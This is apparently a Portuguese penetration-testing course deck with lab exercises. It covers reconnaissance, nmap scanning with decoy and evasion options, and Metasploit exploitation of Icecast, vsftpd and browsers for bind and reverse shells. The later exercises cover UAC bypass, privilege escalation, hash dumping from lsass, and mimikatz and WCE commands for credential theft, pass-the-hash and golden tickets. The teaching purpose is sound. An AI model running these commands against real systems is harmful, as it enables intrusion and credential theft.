Baixe o app para aproveitar ainda mais
Prévia do material em texto
Ataques em redes Prof. Ricardo Tavares E-mail ricardo@tavares.io whoami Windows PowerExploitationShell Copyright (C) 2016 Microsoft Corporation. All rights reserved. PS C:\> whoami /all Corporate\RicardoTavares Certifications CISM,CRISC,CGEIT,GPEN,GCIH, e algumas outras. Experience 20 anos em Segurança da Informação Contact ricardo@tavares.io mailto:ricardo@tavares.io D ic a s i m p o rt a n te s NÃO COPIE E COLE OS COMANDOS DO SLIDE PARA O SEU SHELL. DIGITE CADA COMANDO INDIVIDUALMENTE. Antes de iniciar cada exercício, por favor, verifique: • Se o firewall do Windows está desativado; • Se está executando os comandos solicitados com as devidas permissões. Em alguns exercícios serão solicitados que execute comandos com permissões administrativas. O nmap e msfconsole deverão ser sempre executados com permissões administrativas; • Se tiver problemas com a execução de comandos dentro do Metasploit, finalize todos os jobs ativos utilizando o comando jobs –K e todas as sessões ativas utilizando o comando sessions –K; • Se algum comando falhar, utilize a tecla TAB para auto completar um comando que esteja digitando, e confirmar se realmente o comando está sendo digitado corretamente; • Se todas as recomendações falharam, reinicie o sua máquina virtual alvo e o seu KALI. Se mesmo assim os problemas continuarem, restaure o snapshoot do sistema operacional para um snapshoot correspondente aos requisitos do exercício. • Não será necessário a utilização do comando sudo no KALI. Objetivo Modelar as ações das ameaças do mundo real para encontrar vulnerabilidades de uma forma controlada e explorar estas vulnerabilidades determinando o risco ao negócio com o objetivo de recomendar defesas apropriadas que possam ser integradas na operação da organização alvo. Definições Ameaça - Agente ou ator que pode causar um dano. Vulnerabilidade - Falha que pode ser explorada para causar algum dano. Risco - Onde a ameaça e vulnerabilidade se sobrepõe. Exploit - Código ou técnica que uma ameaça usa para tirar vantagem da vulnerabilidade. Definições Vulnerabilidade - Falha que pode ser explorada para causar algum dano. Exploit - Código ou técnica que uma ameaça usa para tirar vantagem da vulnerabilidade. Security Assessments (vulnerability assessments) Focado somente em encontrar vulnerabilidades de segurança, as quais poderão ser usadas ou não para obter ou roubar dados. Envolve o processo de olhar para falhas de segurança, mais superficial. Normalmente inclui revisões de políticas e procedimentos, que normalmente não são incluídos no penetration testing. Security Audits Testes sobre um rigoroso conjunto de padrões (medir). Muitas vezes realizado com um checklist detalhado. Por que fazer um teste de instrusão Achar vulnerabilidades antes que os criminosos. Medir a efetividades sobre o que está implementado. Ponto de decisão sobre a necessidade para ações ou recursos (decisores darão mais atenção). Prova mais concreta do mundo real. Tipos Network services test Client-side test Web application test Remote dial- up war dial test Wireless security test Social engineering test Physical security test Stolen equipament test Cryptanal ysis attack Metodologias Open Source Security Testing Methodology Manual (OSSTMM) Nist (National Institute of Standart and Technology) Special Publication 800-115 NIST 800-53A Penetration Testing Framework Open Web Application Security Project (OWASP) Testing Guide Fases de um ataque Fases de um ataque Reconhecimento Objetivo Construir um inventário dos alvos potenciais obtendo informações através de origens públicas. As informações colhidas deverão ser organizadas em uma planilha de inventário. É essencial informar como o alvo foi descoberto (Google, DNS zone transfer, etc...). O que devo buscar IP do Alvo Nome do Alvo Sistema Operacional Como foi descoberto Portas abertas Vulnerabilidades Contas Admins e Senhas Outras Infos Onde devo buscar WHOIS ARIN Buscadores Metadados de arquivos DNS Avaliação física WHOIS Consultar no InterNIC (Internet Network Information Center) Tools - www.geektools.com / www.whois.net Pelo sistema operacional: whois -h servidor_whois dominio ARIN LOOKUP Consultar CIDR (classless inter-domain routing) ARIN (american registry for internet numbers LACNIC http://lacnic.net/ (Latin American and Caribbean Internet Address Registry) POC - Point of Contact Site Search • a - Obter informações de inteligência competitiva (negócio, produtos e serviços, escritórios e VIPS, competidores, localização física e press releases recentes); • b - Procurar por vagas em aberto (Compreender os produtos usados na empresa); • Exemplo: site:dominio vagas. • Procurar também em site de empregos (monster) • c - Procurar por pessoas relevantes (linkedIn, Facebook,Twitter, MySpace). Site Search (Google Dorks) site:www.meusite.com certificados site:.com.br certificados link:www.meusite.com related:www.meusite.com intitle:index.of passwd inurl:viewtopic.php filetype:.pdf ou ext:.pdf (sinônimos) , tentar buscar sem o filetype também. robots.txt disallow filetype:txt (importante se colocar o site: também) intitle:index.of intext:"secring.skr"|"secring.pgp"|"secring.bak" http://www.meusite.com/ http://www.meusite.com/ http://www.meusite.com/ http://www.meusite.com/ Análise de Metadados É possível obter nome do usuário, caminhos do sistema de arquivos, e-mail, software utilizado e outras informações importantes. Posso coletar estes documentos revendo os documentos enviados pelo alvo durante a fase de planejamento do teste, através de e-mails enviados, por downloads do website. Ferramentas para Analisar Metadados de documentos • ExifTool; • Foca; • Metadata Extraction Tool (by NLNZ); • Strings (por padrão procura strings em ASCII. Para buscar Unicode devo utilizar e -b (16 bit big endian) e e -l (litle Endia). Por padrão procura por 4 ou mais caracteres, -n é para usar se precisar de menos caracteres. No strings do linux fazer a busca uma por vez ascii, e em seguida unicode usando -b, e -l. Consulta no DNS DNS records (NS, A, HINFO, MX, TXT, CNAME, SOA, RP, PTR, SRV. Querys padrões de DNS vão pela porta UDP 53, enquanto os zone transfers vão pela porta TCP 53. Recursive lookup - Se o DNS não possui a informação que ele solicita, ele faz o foward da requisição para outro servidor DNS com o objetivo de obter a informação. Por padrão o nslookup usa a recursividade. (RD bit = 1 - Recursion desired). DNS cache Snooping - Técnica de investigar o que existe no cache de um servidor DNS. host -v -t any site.com 10.1.1.12 host -v -t any -l site.com 10.1.1.12 -l = zone transfer -r = desativa recursividade dig @[server] [name] [type] zone transfer = -t AXFR incremental zone transfer = -t IXFR=N (providenciar registros modificados desde que o serial number do SOA for N) + norecursive + recursive nslookup server [ip] set type=any ls -d [dominioalvo] ls -d [dominioalvo] [> filename] view [filename] set norecursive (bom para determinar o que existe no cache do dns) Maltego Conceito de Transforms - Pega um pedaço do dado e converte em outro através de um lookup. www.paterva.com/maltego Exercício 1 – Coleta de Informações 1– Abra o shell do KALI (terminal) e instale o whois. • apt-get install whois 2– Obter informações dos domínios abaixo com o comando whois. • whois gmail.com • whois daryus.com.br whois tavares.io • Obter os endereços de servidores de DNS, contatos de e-mail de responsáveis e informações que entenderem que são úteis. 3 – Realizar as consultas abaixo para todos os domínios listados no passo 2. • dig <dominio> +noall +answer • dig –t ns <dominio> • dig –t mx <dominio> dig –t soa <dominio> • 4 – Repetir os passos com o comando NSLOOKUP e host. Exercício 1 – Coleta de Informações 1. – Selecione um site qualquer e realizedownload de arquivos para uma posterior análise de metadados. wget -nd -r -R html,html,php,asp,aspx,cgi -P /home/tools/metadados www.site.com • -nd: No directories (coloca todos os arquivos em um diretorio especifico) • -r : Download recursivo • -P [diretório] - Prefixo de saida para localizacao de arquivs • -R/A - Restringe ou permite 2. – Realize a análise dos metadados dos arquivos obtidos e insira as informações identificadas na tabela a seguir. Nome do usuário Conta do usuário Aplicação usada Versão de software E-mail Diretório Outros Xls Doc PDF exiftool nomedoarquivo strings nomedoarquivo strings -e l nomedoarquivo |grep '\\' strings -e b nomedoarquivo |grep '\\' Fases de um ataque Scanning Objetivo: Aprender mais sobre o alvo, e encontrar aberturas para interagir com o ambiente. Determinar endereço de rede, topologia, sistema operacional, portas abertas, serviços e vulnerabilidades. Network sweeping (probe packets para ver se vivo) Network Tracing (topologia) Port scanning OS Fingerprinting (active and passive) Version Scanning Vulnerability scanning Scanning TCP Control Bits - Conhecidos como Control Flags ou Communication Flags são: SYN,ACK,RST,FIN,URG,PSH, CWR,ECE - cada bit pode ter o valor de 0 ou 1. • SYN - O sistema deverá sincronizar os números de sequências; • ACK - Conhecimento dos pacotes anteriores; • RST - A conexão deverá ser resetada por erro ou interrupção; • FIN - Não existe mais dados para enviar. A sessão será down; • PSH - O dado deverá serguir atraves da camada tcp imediatamente em vez de segurá-lo e esperar por mais dados; • URG - Existem dados importantes que deverão ser manuseados rapidamente; • CWR - Congestion Window Reduced - devido a um congestionamento da rede a fila de pacotes pendentes para enviar foi reduzido; • ECE - Explicit Congestion Notification Echo - a conexão está experimentando congestionamento. Scanning - Nmap Tipos de scan • -sT Connected Scan (3way handshake, mas envia reset se a conexão foi feita no final) - executada com ou sem root e menos controle do nmap porque usa a chamada do OS connect(). • -sS - SYN SCAN (half-open) - requer privilégio root se recebe o syn-ack envia reset para o host. • -sA - ACK - útil para identificar hosts, mas não diz se a porta está aberta ou fechada. Usar em um established filter no roteador. • -sF - FIN • -sN - Null • -sX - XMAS tree Scan - FIN, PSH e URG. • -sM - Maimon - FIN e ACK porque algumas pilhas tcp derivadas do bsd irão responder a sondagem com RESET se a porta está fechada, e nada se estiver aberta. Scanning Three-Way Hand-shake • Syn (Seq=ISNA ACK=0) -> Syn-ACK (Seq=ISNB ACK=ISNA+1) -> ACK (Seq=ISNA+1 ACK=ISNB+1) - Na • essência existem dois streams de sequência de números na série de pacotes, uma de A para B e outra de B para A. Lembrar que: (tecnicas half-open scanning) • quando a porta esta aberta recebo o SYN-ACK; • quando a porta está fechada recebo um RST-ACK; • bloqueada por firewall recebo ICMP Port Unreachble; • se não receber nada de volta a porta pode estar bloqueada por firewall. Não existem Control Bits no UDP. Lembrar que: • udp in e upd back - porta aberta; • udp in e icmp port unreachble back - porta fechada (ou bloqueada pelo firewall) -> Se receber o port unreachble (ICMP type 3, code 3) a porta esta fechada e se receber outros erros type 3 com o codigo 1,2,9,10 ou 13 a porta está • filtrada. • Udp in sem volta - a porta pode esta fechada, o firewall pode esta bloqueando a entrada ou saída, a porta esta aberta mas esperando um dado especifico no payload (nmap tente enviar um payload a partir da versao 5.20). Scanning - Nmap nmap -v -n -Pn -g 53 -D 10.0.0.1 -sS -sV -O 10.0.0.1/24 -p 135,445 --traceroute –reason DETALHAMENTO • -v MODO VERBOSE PARA RECEBER MAIS INFORMACOES DURANTE O SCAN - INFORMACOES DE DIAGNOSTICO • -n PARA NAO RESOVER NOME, E NAO USAR O DNS DO MEU ALVO PARA CHAMAR A ATENCAO • -Pn NAO DEPENDER DE ICMP (PING). SE O ALVO ESTA COM O PING DESATIVADO O SCAN SERA FEITO • -g 53 INICIAR O SCAN PELA PORTA 53 PARA ENGANAR O ALVO, ASSIM AS DEFESAS DO ALVO PODEM PENSAR QUE ESTA SENDO FEITA UMA COMUNICACAO COM O DNS NO LUGAR DO SCAN E DEIXAR PASSAR O SCAN. • -D <IP DO DNS> FINGIR QUE QUEM ESTA FAZENDO O SCAN É O DNS DO ALVO (DECOY) • -sS TIPO DE SCAN SYN (NAO FAZ O THREE WAY HANDSHAKE INTEIRO) • -sV VERIFICA A VERSÃO DA PORTA QUE ESTA ABERTA, ISTO É, IDENTIFICA O SERVICO • -O IDENTIFICA A VERSAO DO SISTEMA OPERACIONAL • -A USAR EM SUBSTUICAO DO -sV e -O. TAMBÉM REALIZA UM PEQUENO SCAN DE VULNERABILIDADE • --script=smb * FAZ SCAN DE VULNERABILIDADE UTILIZANDO TODOS OS SCRIPT SMB*.NSE 10.0.0.1/24 REALIZA O SCAN NA SUBREDE 10.0.0.1/24 • -p 135,445 REALIZA O SCAN NAS PORTAS TCP 135 E 445 • --traceroute MONTA A TOPOLOGIA DE REDE COM UM TRACEROUTE DE TRAZ PARA FRENTE • --reason VERIFICA O PORQUE QUE A PORTA ESTA ABERTA O FECHADA (MOSTRA O SYN, ACK) Exercício 2 - Nmap 1– Abra o shell de sua distribuição Linux (terminal). 2– Execute o NMAP para verificar quais portas estão abertas em sua estação de trabalho Windows. nmap <IP Windows> Quais portas estão abertas? 2- Ative o Icecast, desative o firewall do Windows e execute o NMAP novamente, mas desta vez obtendo mais informações através do parâmetro verbose. nmap –v <IP Windows> Quais portas estão abertas? 3- Execute o NMAP para verificar se as portas 22,23, 53, 80, 135 e 443 TCP estão abertas em seu servidor Linux (máquina virtual Metasploitable). nmap -v -sT <IP METASPLOITABLE> -p 22,23,53,80,135,443 Quais portas estão abertas? Exercício 2 - Nmap 5- Execute o NMAP para verificar EXATAMENTE quais serviços estão ativos nas portas abertas do exercício anterior. nmap -v -sT -sV <IP METASPLOITABLE> -p 22,23,53,80,135,443 (inserir somente as portas que estão abertas). Quais os serviços existentes em cada uma das portas? 6– Execute o NMAP para verificar quais são as portas abertas, serviços correspontes e o sistema operacional da sua estão de trabalho Windows. nmap –v –sT –sV –O <IP Windows> 7– Execute o NMAP para verificar quais portas UDP estão abertas na sua estão de trabalho Windows e em seu Servidor Linux. nmap –v –sU < IP METASPLOITABLE > -p 161 8 - Evite ser identificado, execute o NMAP usando um HALF SCAN (SYN) (-sS) em seu ambiente Windows e Linux, evitando a resolução de nomes (-n) e usar o ping para verificar se o host está ativo (Pn). nmap –v –n –Pn –sS –sV –O <ip Windows> nmap –v –n –Pn –sS –sV –O < IP METASPLOITABLE> 9– Busque por possíveis vulnerabilidades no ambiente Linux e salve o resultado. Nmap –v –n –Pn –sS –sV –A <IP METASPLOITABLE> -oA resultado cat <arquivo salvo de resultado> Exercício 3 – CVE-2017-0143 Você quer saber se sua empresa atualizou todos os computadores com o patch da Microsoft MS17-010, evitando assim a vulnerabiliade identificada pelo CVE-2017-0143. 1 – Execute o NMAP buscando a vulnerabilidade em todos os computadores que possuem a porta 135 e 445 abertas, salvando o resultado para arquivo. sudo nmap -v -n -Pn -sS -sV --script smb-vuln-ms17-010,smb-double-pulsar-backdoor,smb-vuln-cve-2017-7494 --script-args vulns.short <range de ip de seu ambiente virtual> -p 135,445 --open -oA MS17010 • Exemplo: sudo nmap -v -n -Pn -sS -sV --script smb-vuln-ms17-010,smb-double-pulsar-backdoor,smb-vuln-cve-2017-7494 --script- args vulns.short 10.0.0.1/24 -p 135,445 --open -oA MS17010 2- Verifique quais computadores estão vulneráveis. cat MS17010.nmap | grep –i VULNERABLE Esta é uma forma rápida e eficiente de conhecer se o seu ambiente está vulnerável. Exploração Entrando no território inimigo Exploit O que é um exploit? Metasploit Exploitation Framework O Metasploit é um ambiente para executar e criar diferentes exploits de forma flexível. Ele poderá ser utilizado para simplificar a criação e padronizar o uso de exploits. O Metasploit é divido em conceitos de exploits, payloads e módulos auxiliares. • Exploit - Tira vantagem de uma falha em um programa alvo vulnerável e ofaz executar um payload; • Payload - Faz o alvo fazer algo que o atacante quer; • Módulos auxiliares - Fazem várias tarefas, incluindo o scanning. Metasploit Exploitation Framework O módulo de exploits do Metasploit é divido em: • auxiliary - inclui port scanners, verificadores de vulnerabilidades e outros; • encoders - converte exploits e payloads para uma forma diferente com o objetivo de fazer o bypass e evadir firewall e ids; • exploits – exploits usados para comprometer o alvo; • payloads - arsenal de payloads. Metasploit Exploitation Framework O arsenal de exploits é organizado por sistema operacional, contendo o exploit para o sitema operacional e para os programas que são executados neles. Além da organização por sistema operacional, existem as categorias: • multi - são os exploits que atacam varios tipos de sistema operacional, como browsers, php exploits, samba. • test - exploits experimentais, frequentemente usados como um exploit para desenvolvimento de novos exploits. Metasploit Exploitation Framework Os payloads são os códigos executados no alvo após a exploração. No metasploit existem as categorias a seguir: • singles - stand-alone payloads que possuem sua funcionalidade e comunicação agrupada. (metsvc, shellbindtcp,shellreversetcp) • stagers - pedaços de uma payload que primeiro é carregado e permite a um stage seguinte se comunicar com o atacante de diversas formas flexiveis. Os stagers carregam o stage na maquina alvo. (conexão reversa tcp) • stages - pedaços de payload que implementa uma função, mas comunicam-se usando um stager já carregado. (remote shell, meterpreter, vncinject, dllinject) stager + stage = full payload single = full payload Metasploit Exploitation Framework Metasploit Interpreter = Meterpreter - payload que age como um shell especializado executando dentro da memória de um processo metasploit-exploited. Consiste de uma serie de DLLs injetadas em processos na memória, não são criados processos separados em execução, o foco é Windows. É só mais uma dll carregada em um processo na maquina alvo (não chama atenção). PARA OBTER A LISTA DE DLLS CARREGADAS EM TODOS OS PROCESSOS NO WINDOWS EXECUTAR O COMANDO TASKLIST/M. Como o metasploit é residente na memória ele desaparece no boot. Metasploit Exploitation Framework Comandos básicos do meterpreter ?/help exit/quit - sai do meterpreter removendo da memória do alvo sysinfo shutdown/reboot reg cd lcd pwd/getwd ls cat • mkdir/rmdir edit • getpid getuid ps • kill • execute (executa um programa com os privilégios do • processo no qual o meterpreter está rodando) migrate (injeta a dll no processo alvo e remove do anterior) - fornece acesso a tudo o que o processo oferece. Consciência Situacional Ganhar consciência situacional para planejar os próximos passos do ataque. Estabelecer persistência Preparar o ambiente para que você volte quando necessário. Escalar Privilégio Obter o máximo possível de privilégios para acessar e controlar o que for necessário. ALVO: conta de sistema Estabelecer persistência Invadir o castelo e matar o rei. Alvo: Conta administrativa do domínio. Identificar o que é importante Identificar arquivos que sejam importantes, verificar a última data de acesso e contaminar os arquivos mais acessados. Identificar o que causa impacto Identificar o que realmente impacta o negócio, e demonstrar qual o impacto se o risco for materializado. Exploração Service Side Exercício 4 (shell bind) Antes de executar este exercício, ativar o ICECAST no computador alvo. 1– Verificar os serviços disponíveis no computador alvo (Windows). No shell (terminal) do Linux executar o comando a seguir: $ nmap -v -n -Pn –g 53 -sS -sV -O --script=smb-os-discovery.nse 192.168.16.20 --traceroute --reason (192.168.16.20 é o endereço IP do alvo – Windows) Verifique se o NMAP informa a existência de alguma porta aberta com o serviço do ICECAST. Caso o ICECAST não seja exibido, desative o firewall do computador alvo executando o comando netSh advfirewall set allprofiles state off no prompt. 2– Acessar o msfconsole. $ msfconsole O msfconsole deverá ser executado com as permissões administrativas. 3– Localizar um exploit para o ICECAST no METASPLOIT. msf> search icecast 4– Selecionar o exploit identificado. msf> use exploit/windows/http/icecast_header Exercício 4 (shell bind) 5– Selecionar o payload. msf exploit(icecast_header) > set payload windows/shell/bind_tcp 6– Verificar as opções necessárias que deverão ser configuradas antes da exploração. msf exploit(icecast_header) > show options 7 – Configurar o endereço ip do alvo, a porta de serviço utilizada pelo Icecast que está aberta, e qual porta que será aberta para acessar o shell (aleatória) no alvo. msf exploit(icecast_header) > set RHOST 192.168.16.20 msf exploit(icecast_header) > set RPORT 8000 msf exploit(icecast_header) > set LPORT 7777 8– Inicie a exploração msf exploit(icecast_header) > exploit O que aconteceu? 9– Digite hostname no shell do windows e verifique se é o Windows que você configurou. 10- Digite exit no shell, pressione CTRL +C e em sequência a tecla y para confirmar a finalização da sessão e voltar ao msfconsole. 11 - No mundo real qual é o problema com essa técnica? Exercício 5 (shell reverse) 1– Encerre e abra o programa do Icecast no computador alvo, mantendo o seu serviço ativo. 2– Selecionar o exploit do Icecast. msf> use exploit/windows/http/icecast_header 3– Selecionar o payload. msf exploit(icecast_header) > set payload windows/shell/reverse_tcp 4– Quais foram as novas opções que apareceram em comparação com o exercício anterior? 5 – Configurar o endereço ip do alvo, a porta de serviço do Icecast que está aberta, o seu endereço IP, e em qual porta de seu computador o shell reverso deverá retornar (aleatória). Iniciar a exploração. msf exploit(icecast_header) > set LHOST 192.168.16.10 msf exploit(icecast_header) > set RHOST 192.168.16.20 msf exploit(icecast_header) > set RPORT 8000 msf exploit(icecast_header) > set LPORT 7777 msf exploit(icecast_header) > exploit Exercício 5 (shell reverse) 6– Qual a diferença entre o LPORT deste exercício para o do exercício 1? 7– No computador alvo confirme a conexão reversa executando o comando a seguir no prompt (shell) do Windows. netstat -na | findstr ESTABLISHED (Identificar qual conexão direciona para o IP do seu host Debian / KALI) 8- Digite exit no shell, pressione CTRL +C e em sequência a tecla y para confirmar a finalização da sessão e voltar ao msfconsole. Exercício 6 (Linux) 1– Verificar os serviços disponíveis no computador alvo (Metasploitable). No shell (terminal) do Linux executar o comando a seguir: $ nmap -v -n -Pn –g 53 -sS -sV -O 192.168.16.30 --traceroute --reason (192.168.16.30 é o endereço IP do alvo –Metasploitable) • Quais portas estão abertas? 2– Procure o exploit para o serviço vsftp msf> search vsftp 3– Selecionar o exploit identificado com um payload de shell reverso. msf> use exploit/unix/ftp/vsftpd_234_backdoor 4– Escolher o payload msf> set payload cmd/unix/interact Exercício 6 (Linux) 5– Configurar o endereço ip do alvo, a porta de serviço do VSFTP que está aberta. msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.16.30 msf exploit(vsftpd_234_backdoor) > set RPORT 21 6– Realizar a exploração. msf> exploit 7– Verificar os diretórios do servidor alvo. ls -la 8– Obter o shell interativo. python -c "import pty;pty.spawn('/bin/bash')" 9– Veificar informações sobre a versão do Linux do servidor alvo. uname -a Exploração Client Side Exercício 7 (browser_autopwn2) 1– Obtenha informações sobre o browser_autopwn msf > info auxiliary/server/browser_autopwn2 2– Selecione o auxiliary browser_autopwn no Metasploit. msf > use auxiliary/server/browser_autopwn2 3– Verifique as opções do auxiliary e realize as configurações necessárias. msf auxiliary(browser_autopwn2) > show options msf auxiliary(browser_autopwn2) > set LHOST 192.168.16.10(IP do seu host Debian / KALI) msf auxiliary(browser_autopwn2) > set SRVHOST 192.168.16.10 (IP do seu host Debian / KALI) msf auxiliary(browser_autopwn2) > set SRVPORT 80 • msf auxiliary(browser_autopwn2) > set URIPATH /relatorio 4– Execute o exploit. msf auxiliary(browser_autopwn2) > exploit (Aguarde a mensagem ”Server Started”, pode demorar alguns segundos) Exercício 7 (browser_autopwn2) 5 – Através do Windows, abra o Internet Explorer e acesse o endereço http://192.168.16.10/relatorio. Depois de exibir ”Command shell session opened” algumas vezes pressione ENTER. 6 – Verifique quantas sessões de invasão vocês possui msf auxiliary(browser_autopwn2) > sessions -l (sessions –l = letra “L” de list) 7– Interagir com alguma sessão msf auxiliary(browser_autopwn2) > sessions –i <número de qualquer sessão aberta> 8– Digite o comando para visualizar diretórios. dir 9 – Cancele a invasão pressicionando CTRL + C e confirmando com a tecla y se necessário. 10 – No metasploit cancele os jobs criados por este exploit. msf auxiliary(browser_autopwn2) > jobs -K 11 – O que aconteceu exatamente durante o processo de invasão? http://192.168.16.10/relatorio Exercício 7 (browser_autopwn2) 1 – Solicite informações sobre o exploit adobe_flash_hacking_team_uaf. info exploit/multi/browser/adobe_flash_hacking_team_uaf Qual o objetivo deste exploit? 2 – Selecione o exploit adobe_flash_hacking_team_uaf. use exploit/multi/browser/adobe_flash_hacking_team_uaf 3– Selecione o payload windows/meterpreter/reverse_tcp. set target 0 (para poder escolher os payloads nativos do Windows) set payload windows/meterpreter/reverse_tcp 4– Verifique as opções que devem ser configuradas no PAYLOAD. show options 5– Configure a opções necessárias para o PAYLOAD. set LHOST 192.168.16.10 set LPORT 443 set SRVHOST 192.168.16.10 set SRVPORT 80 set URIPATH /relatorio Exercício 7 (browser_autopwn2) 6– Inicie o exploit. exploit -j -z -j – Inicia o exploit no contexto de job. -z – Não interage com a sessão. Se o exploit falhar na execução, execute o comando jobs –K para remover todos os jobs ativos que foram criados em exercicíos anteriores. O que mudou após a exploração? 7 – Através do Windows, abra o Internet Explorer e acesse o endereço http://192.168.16.10/relatorio. Será iniciado o processo de exploração. 8– Liste as sessões. Pressione a tecla ENTER após ser exibido ”Meterpreter session X opened” e execute os comandos a seguir: sessions –l (sessions –l = letra “L” de list) http://192.168.16.10/relatorio Exercicio 8 (browser e meterpreter) 9– Interagir com a primeira sesão aberta. sessions –i 1 (ou utilize o número da sessão correspondente e listada após o comando sessions –l) 10– Agora você está no meterpreter. Obtenha informações sobre o alvo. sysinfo Quais foram as informações obtidas? 11– Com qual usuário você está conectado? getuid 12– Qual processo você está usando? getpid (obtém o seu processo) ps (lista todos os processos. Agora localize o seu processo pelo número na lista de processos) Exercicio 8 (browser e meterpreter) 13 – Abra o shell da máquina alvo comprometida. execute -f cmd.exe -c -i No shell do Windows que será aberto, execute os comandos a seguir e informe o resultado após a execução de cada comando: • hostname • ipconfig • dir • exit Verifique no computador alvo se aconteceu algo estranho. O que aconteceu? 14 – Abra o shell da máquina alvo comprometida. shell (o comando shell executará o shell do Windows da mesma forma que o comando informado no exercício anterior.) No shell do Windows que será aberto, execute os comandos a seguir e informe o resultado após a execução de cada comando: • Hostname • ipconfig • dir • exit Qual foi a diferença entre o passo 13? Pós exploração Escalação de Privilégio Exercicio 9 (escalação de privilégio) Desbloquear a conta de administrador local do seu Windows e configurar a palavra cyber como a senha para a conta. 1 – Reinicie o serviço do ICECAST, confirme se o mesmo está inicializado e funcionando, e realize a exporação usando o payload windows/meterpreter/reverse_https. 2– Após abrir o shell do meterpreter verifique qual o seu usuário/privilégio. • getuid 3– Obtenha o privilégio de sistema. getsystem O que aconteceu? Se você não obteve o privilégio administrativo, provavelmente você foi barrrado pelo UAC (User Account Control) do Windows. Exercicio 9 (escalação de privilégio) • 4 – Realizando o bypass no User Account Control. a – Saia do meterpreter e volte para o shell do msfconsole. background b – Selecionar o Exploit bypassuac_injection use exploit/windows/local/bypassuac_eventvwr c – Configurar a sessão do exploit com o número da sessão atual que está usando no meterpreter. sessions –l (lista as sessões caso não saiba o número da sessão) set session 1 (insira o número da sessão que está usando) d – Selecionar o tipo de alvo sendo 0 para sistemas operacionais de 32 bit e 1 para sistemas operacionais de 64 bit. set target 1 e – Selecionar e configurar o payload de exploração. set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.16.10 set LPORT 7777 f – Iniciar a exploração exploit -j -z (se tiver falhas na exploração utilize o exploit exploit/windows/local/bypassuac. Se as falhas continuarem siga as DICAS informadasna configuração do laboratório) Exercicio 9 (escalação de privilégio) 5– Pressionar ENTER e verificar as sessões abertas. Interagir com a nova sessão criada pelo exploit bypassuac. • essions –l (letra L) sessions –i 1 (numero da nova sessão) 6– Após abrir o shell do meterpreter verifique qual o seu usuário/privilégio. • getuid 7– Obtenha o privilégio de sistema. getsystem O que aconteceu? 8– Verifique qual o seu usuário/privilégio. getuid Qual usuário você está utilizando agora? /local/bypassuac. Se as falhas continuarem siga as DICAS informadasna configuração do laboratório) Exfiltration Senhas Exercicio 10 (Obtendo o hash) 1 – Continuando o exercício anterior, após obter o privilégio de SYSTEM, obtenha o hash da senha dos usuários do sistema operacional executando os comandos a seguir. hashdump run post/windows/gather/smart_hashdump O que aconteceu? Se você não conseguiu obter o hash você não está com o privilégio adequado. 2– Para obter o privilégio adequado migre o seu processo para o lsass.exe (Local Security Authority Subsystem Service). getpid (procurar o processo lsass.exe) migrate <PID do processo lsass.exe) E execute novamente os comandos indicados no passo 1. Abra o editor de texto(gedit), anote os hashes e salve o arquivo como senhas.txt no caminho /tmp. Será algo parecido como: Administrator:500:aad3b435b51404eeaad3b435b51404ee:d208bd92b52f7cb48eb64c53dbd34552::: O hash será utilizado no próximo exercício. Qual a diferença entre estes três comandos executados para obter o hash? 3 – No Windows, abra o gerenciador de tarefas, encontre o processo do ICECAST e o finalize. O que aconteceu com a sua conexão da invasão? Por quê? MIMIKATZ O mimikatz é uma ferramenta que tem como objetivo explorar a autenticação do Windows. Utilizando o mimikatz será possível obter senhas em formato texto, hash, códigos de PIN e tickets de kerberos da memória. Também será possível utilizar o mimikatz para realizar pass-the-hash, pass-the-ticket ou criar Golden tickets. Onde posso obter: Última versão do binário pré-compilado https://github.com/gentilkiwi/mimikatz/releases/latest Sources https://github.com/gentilkiwi/mimikatz MIMIKATZ – Comandos Úteis log privilege::debug Sekurlsa sekurlsa::logonpasswords sekurlsa::tickets /export sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd Kerberos kerberos::list /export kerberos::ptt c:\chocolate.kirbi kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501- 2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi MIMIKATZ – Comandos Úteis Crypto crypto::capi crypto::cng crypto::certificates/export crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE crypto::keys /export crypto::keys /machine /export Valt vault::cred vault::list token::elevate vault::cred vault::list lsadump::sam lsadump::secrets lsadump::cache token::revert lsadump::dcsync /user:domain\krbtgt /domain:lab.local MIMIKATZ – Windows 8.1 e 10 Extraindo senhas em texto puro de usuários Windows 8.1 e Windows 10 de um provedor WDigest. Quando a Microsoft lançou o Windows 8.1 ela adicionou algumas características de segurança que removeram a habilidade de ferramentas como o mimikatz e WCE para realizar o dump de credencias em texto puro da memória LSA. Estas funcionalidades estão disponíveis para versões do Windows anteriores ao Windows 8.1 através da correção de segurança https://support.microsoft.com/en-us/kb/2871997. Como o WDigest é usado por muitos produtos (como o IIS) a Microsoft deixou o Wdigest provider ativo. O Windows 8.1 traz uma configuração de chave de registro que permite desativar o armazenamento de credenciais em texto puro do Wdigest provider. (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogon Credential) como o valor padrão de 0, mesmo não aparecendo no Windows 8.1. Isto significar que não irá suportar credenciais de logon armazenadas em texto puro na memória LSA. MIMIKATZ – Windows 8.1 e 10 Extraindo senhas em texto puro de usuários Windows 8.1 e Windows 10. Adicionar a chave de registro reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 Pelo meterpreter reg createkey -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1 BLOQUEAR A ESTACACAO DE TRABALHO rundll32.exe user32.dll,LockWorkStation WCE – Windows Credential Editor Windows Credentials Editor (WCE) é uma ferramenta de segurança para listar sessões de logon e adicionar, mudar, listar e deletar credenciais associadas (ex.: LM/NT hashes, senhas em texto e tickets Kerberos). O WCE pode ser usada para realizar pass-the- hash no Windows, obter os hashes NT/LM da memória (de logins interativos, serviços, conexões remotas de desktop remote desktop entre outros), obter tickets de Kerberos e reutiliza-los em outros sistemas Windows ou Unix, e realizar o dump de senhas em texto puro que forma entradas por usuários no logon. O WCE poder ser obtido no endereço: http://www.ampliasecurity.com/research/win dows-credentials-editor/ http://www.ampliasecurity.com/research/win WCE – Windows Credential Editor Obter credenciais da memória wce Modificar minhas credenciais NTLM wce.exe -s <username>:<domain>:<lmhash>:<nthash> 